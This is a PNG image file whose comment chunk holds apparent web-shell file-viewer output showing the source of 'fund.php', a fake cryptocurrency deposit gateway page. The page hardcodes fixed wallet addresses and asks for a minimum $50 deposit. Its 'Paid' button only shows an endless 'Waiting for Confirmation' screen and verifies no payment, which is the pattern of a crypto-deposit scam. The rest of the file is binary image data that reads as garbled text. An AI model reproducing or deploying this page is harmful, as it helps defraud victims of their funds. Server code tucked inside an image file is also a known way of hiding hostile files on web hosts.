PNG  IHDR pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_F@8N ' p @8N@8}' p '#@8N@8N pQ9p!i~}|6-ӪG` VP.@*j>[ K^<֐Z]@8N'KQ<Q(`s" 'hgpKB`R@Dqj '  'P$a ( `D$Na L?u80e J,K˷NI'0eݷ(NI'؀ 2ipIIKp`:O'`ʤxB8Ѥx Ѥx $ $P6 :vRNb 'p,>NB 'P]-->P T+*^h& p '‰a ‰ (ĵt#u33;Nt̵'ޯ; [3W ~]0KH1q@8]O2]3*̧7# *p>us p _6]/}-4|t'|Smx= DoʾM×M_8!)6lq':l7!|4} '\ne t!=hnLn (~Dn\+‰_4k)0e@OhZ`F `.m1} 'vp{F`ON7Srx 'D˸nV`><;yMx!IS钦OM)Ե٥x 'DSD6bS8!" ODz#R >S8!7ّxEh0m$MIPHi$IvS8IN$I p$O8I,sk&I)$IN$Hi$I^Ah.p$MIN$IR8I·N "IF9Ah0m$MIN$IR8IN$I 3jIU;kO$ɳN$+ q.x* tEXtComment

Viewing File: /home/u403625155/domains/globalcapwalletx.com/public_html/app/fund.php

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>2pay - Cryptocurrency Payment Gateway</title>
	<link rel="icon" type="image/png" sizes="32x32" href="https://i.ibb.co/R4b8Yc99/c.png" />
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons/font/bootstrap-icons.css" />
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" />
  <style>
    body { background-color: #071013; }
    .dark-card { background-color: #131a22; color: #f8f9fa; }
    .hidden { display: none !important; }
    .fade-in { animation: fadeIn 0.35s ease forwards; opacity: 0; }
    @keyframes fadeIn { to { opacity: 1; } }
    .loader-wrap { display: flex; flex-direction: column; align-items: center; gap:.75rem; padding:1rem 0; }
    .crypto-banner { color: #f1c40f; text-align: center; padding: 12px 0; font-weight: bold; font-size: 1rem; letter-spacing: 1px; text-transform: uppercase;
    }
  </style>
</head>
<body class="text-light">

<div class="container1 d-flex justify-content-center align-items-center min-vh-100" id="container1">
  <div class="card dark-card text-white p-4 shadow-lg" style="max-width: 450px; border-radius: 15px;">
    <div class="card-body">
      <center><img src="https://i.ibb.co/R4b8Yc99/c.png" alt="Logo" class="mb-3" style="width:100px;object-fit:contain;"></center>
		<div class="crypto-banner">
		  Cryptocurrency Automatic Gateway <br>
		  Fast, Secure, and Easy Payments
		</div><hr>
      <div class="text-muted mb-4" style="font-size: 0.9rem; text-align:left;">
        <p class="mb-1">Follow these steps to complete your deposit:</p>
        <ol style="padding-left:18px; margin:0;">
          <li>Enter the amount you want to deposit (minimum $50).</li>
          <li>Select your preferred crypto payment gateway.</li>
          <li>Click <b>Next</b> to get your unique wallet address.</li>
          <li>Send the exact crypto amount shown to the wallet address.</li>
          <li>Wait for blockchain confirmation. funds will be credited automatically.</li>
        </ol>
      </div>

      <form id="depositForm" novalidate>
        <div class="mb-3">
          <label class="form-label">Amount (USD)</label>
          <div class="input-group">
            <span class="input-group-text">$</span>
            <input type="number" class="form-control" id="amountInput" min="50" step="0.01" placeholder="Minimum 50.00" required />
          </div>
          <div class="form-text text-muted">Minimum deposit is $50.00</div>
          <div class="invalid-feedback d-block" id="amountError" style="display:none;">Amount must be at least $50.00</div>
        </div>

        <div class="mb-3">
          <label class="form-label">Payment Gateway</label>
          <select class="form-select" id="gatewaySelect" required>
            <option value="" disabled selected>Choose</option>
            <option value="BTC">Bitcoin (BTC)</option>
            <option value="ETH">Ethereum (ETH)</option>
            <option value="USDT-TRC20">Tether (USDT - TRC20)</option>
            <option value="USDT-ERC20">Tether (USDT - ERC20)</option>
            <option value="USDT-BEP20">Tether (USDT - BEP20)</option>
            <option value="USDC">USDC (USD Coin)</option>
            <option value="BNB">Binance Coin (BNB)</option>
            <option value="TRX">Tron (TRX)</option>
          </select>
          <div class="invalid-feedback d-block" id="gatewayError" style="display:none;">Please select a payment gateway</div>
        </div>

        <button type="submit" class="btn btn-warning w-100">
          Next <i class="bi bi-arrow-right-short"></i>
        </button>
      </form>
    </div>
  </div>
</div>

<div class="container2 d-flex justify-content-center align-items-center min-vh-100 hidden" id="container2">
  <div class="card dark-card text-white p-4 shadow-lg" style="max-width: 450px; border-radius: 15px;">
    <div class="card-body text-center">
      <center><img src="https://i.ibb.co/R4b8Yc99/c.png" alt="Logo" class="mb-3" style="width:100px;object-fit:contain;"></center>
		<div class="crypto-banner">
		  Cryptocurrency Automatic Gateway <br>
		  Fast, Secure, and Easy Payments
		</div><hr>
      <div id="loader" class="loader-wrap">
        <div class="spinner-border" role="status"></div>
        <div>Preparing your payment...</div>
      </div>

      <div id="paymentDetails" class="hidden">
        <h3 class="mb-3">Payment Details</h3>
        <p><strong>Payment ID:</strong> <span id="depositIdText">DEP000000</span></p>
        <h2 class="fw-bold" id="cryptoAmountText">-</h2>
        <p id="usdAmountText">-</p>

        <p class="mt-3 text-start">Payment Address:</p>
        <div class="d-flex justify-content-between align-items-center p-2 bg-dark rounded">
          <small class="text-truncate" style="max-width: 80%;" id="payAddress">-</small>
          <button onclick="copyToClipboard(document.getElementById('payAddress').innerText)" class="btn btn-outline-light btn-sm">
            <i class="bi bi-clipboard"></i>
          </button>
        </div>

        <div class="d-flex justify-content-center flex-column align-items-center">
          <img id="qrImage" src="" alt="QR Code" class="p-4">
          <small class="text-muted">Please scan the QR code or copy the address to make payment.</small>
        </div>

        <div id="copyMessage" class="alert alert-success alert-dismissible fade show mt-3 d-none" role="alert">
          Address copied!
          <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
        </div>

        <div class="mt-3">
          <button type="button" onclick="submitPayment(event)" class="btn btn-success w-100 mt-3">Paid</button>
          <div id="submit-spinner" style="display: none; margin-top: 15px;">
            <div class="spinner-border text-primary" role="status">
              <span class="visually-hidden">Loading...</span>
            </div>
          </div>
        </div>
        <button type="button" class="btn btn-outline-danger w-100 mt-2" onclick="goBack()">Change Gateway</button>
      </div>
    </div>
  </div>
</div>

<div class="container3 d-flex justify-content-center align-items-center min-vh-100 hidden" id="container3">
  <div class="card dark-card text-white p-4 shadow-lg text-center" style="max-width: 450px; border-radius: 15px;">
    <div class="card-body">
      <center><img src="https://i.ibb.co/R4b8Yc99/c.png" alt="Logo" class="mb-3" style="width:100px;object-fit:contain;"></center>
		<div class="crypto-banner">
		  Cryptocurrency Automatic Gateway <br>
		  Fast, Secure, and Easy Payments
		</div><hr>

      <div class="loader-wrap">
        <div class="spinner-border text-warning" role="status" style="width:3rem;height:3rem;"></div>
        <h5 class="mt-3">Waiting for Confirmation...</h5>
        <p class="text-muted small">This may take a few minutes depending on the blockchain speed.</p>
      </div>
    </div>
  </div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta1/dist/js/bootstrap.bundle.min.js"></script>
<script>



  const walletAddresses = {
    BTC: "bc1qpune85g00j06vetrfz9aga3s4v8y3j9tfe2lsr",
    ETH: "0x5cfaf30a324d48db1de24a57e7d877d7dbfe77d3",
    TRX: "TAH2VRHm9tjpb8XTxj9XszFQVcp8brGGdW",
    USDC: "0x5cfaf30a324d48db1de24a57e7d877d7dbfe77d3",
    "USDT-ERC20": "0x5cfaf30a324d48db1de24a57e7d877d7dbfe77d3",
    "USDT-TRC20": "TAH2VRHm9tjpb8XTxj9XszFQVcp8brGGdW",
    "USDT-BEP20": "0x5cfaf30a324d48db1de24a57e7d877d7dbfe77d3",
    BNB: "0x5cfaf30a324d48db1de24a57e7d877d7dbfe77d3"
  };

  function generateDepositId() {
    var six = String(Math.floor(Math.random() * 1000000)).padStart(6, '0');
    return "DEP-1".concat(six);
  }

  function copyToClipboard(text) {
    navigator.clipboard.writeText(text).then(function () {
      var msg = document.getElementById('copyMessage');
      msg.classList.remove('d-none');
      setTimeout(function () { msg.classList.add('d-none'); }, 2000);
    });
  }

  function goBack() {
    document.getElementById('paymentDetails').classList.add('hidden');
    document.getElementById('loader').classList.remove('hidden');
    document.getElementById('container2').classList.add('hidden');
    document.getElementById('container1').classList.remove('hidden');
  }

  function fetchPrice(currency, cb) {
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "https://api.oxapay.com/v1/common/prices", true);
    xhr.onreadystatechange = function () {
      if (xhr.readyState === 4) {
        try {
          var res = JSON.parse(xhr.responseText);
          var price = res.data[currency.toUpperCase()];
          cb(price ? price : null);
        } catch (e) {
          console.error(e);
          cb(null);
        }
      }
    };
    xhr.send();
  }

  document.getElementById("depositForm").addEventListener("submit", function (e) {
    e.preventDefault();
    var amount = parseFloat(document.getElementById("amountInput").value);
    var code = document.getElementById("gatewaySelect").value;

    if (isNaN(amount) || amount < 50) {
      document.getElementById("amountError").style.display = "block";
      alert("Deposit amount must be at least $50.00");
      return;
    } else {
      document.getElementById("amountError").style.display = "none";
    }

    if (!code) {
      document.getElementById("gatewayError").style.display = "block";
      return;
    } else {
      document.getElementById("gatewayError").style.display = "none";
    }

    document.getElementById("container1").classList.add("hidden");
    document.getElementById("container2").classList.remove("hidden");

    var address = walletAddresses[code];
    if (!address) { alert("Wallet address not set"); goBack(); return; }

    fetchPrice(code.includes("USDT") ? "USDT" : code, function (price) {
      if (!price) { alert("Failed to fetch rate"); goBack(); return; }

      var cryptoAmount = amount / price;
      var depId = generateDepositId();

      document.getElementById("depositIdText").innerText = depId;
      document.getElementById("usdAmountText").innerText = "$".concat(amount.toFixed(2));
      document.getElementById("cryptoAmountText").innerText = cryptoAmount.toFixed(6).concat(" ", code);
      document.getElementById("payAddress").innerText = address;
      document.getElementById("qrImage").src = "https://api.qrserver.com/v1/create-qr-code/?size=150x150&data=".concat(encodeURIComponent(address));
      document.getElementById("loader").classList.add("hidden");
      document.getElementById("paymentDetails").classList.remove("hidden");
    });
  });

  function submitPayment(event) {
    document.getElementById("submit-spinner").style.display = "block";
    var button = event.target;
    button.disabled = true;
    setTimeout(function () {
      document.getElementById("container2").classList.add("hidden");
      document.getElementById("container3").classList.remove("hidden");
      document.getElementById("container3").classList.add("fade-in");
      document.getElementById("submit-spinner").style.display = "none";
      button.disabled = false;
    }, 2000);
  }
</script>


</body>
</html>
Back to Directory=ceiIENDB`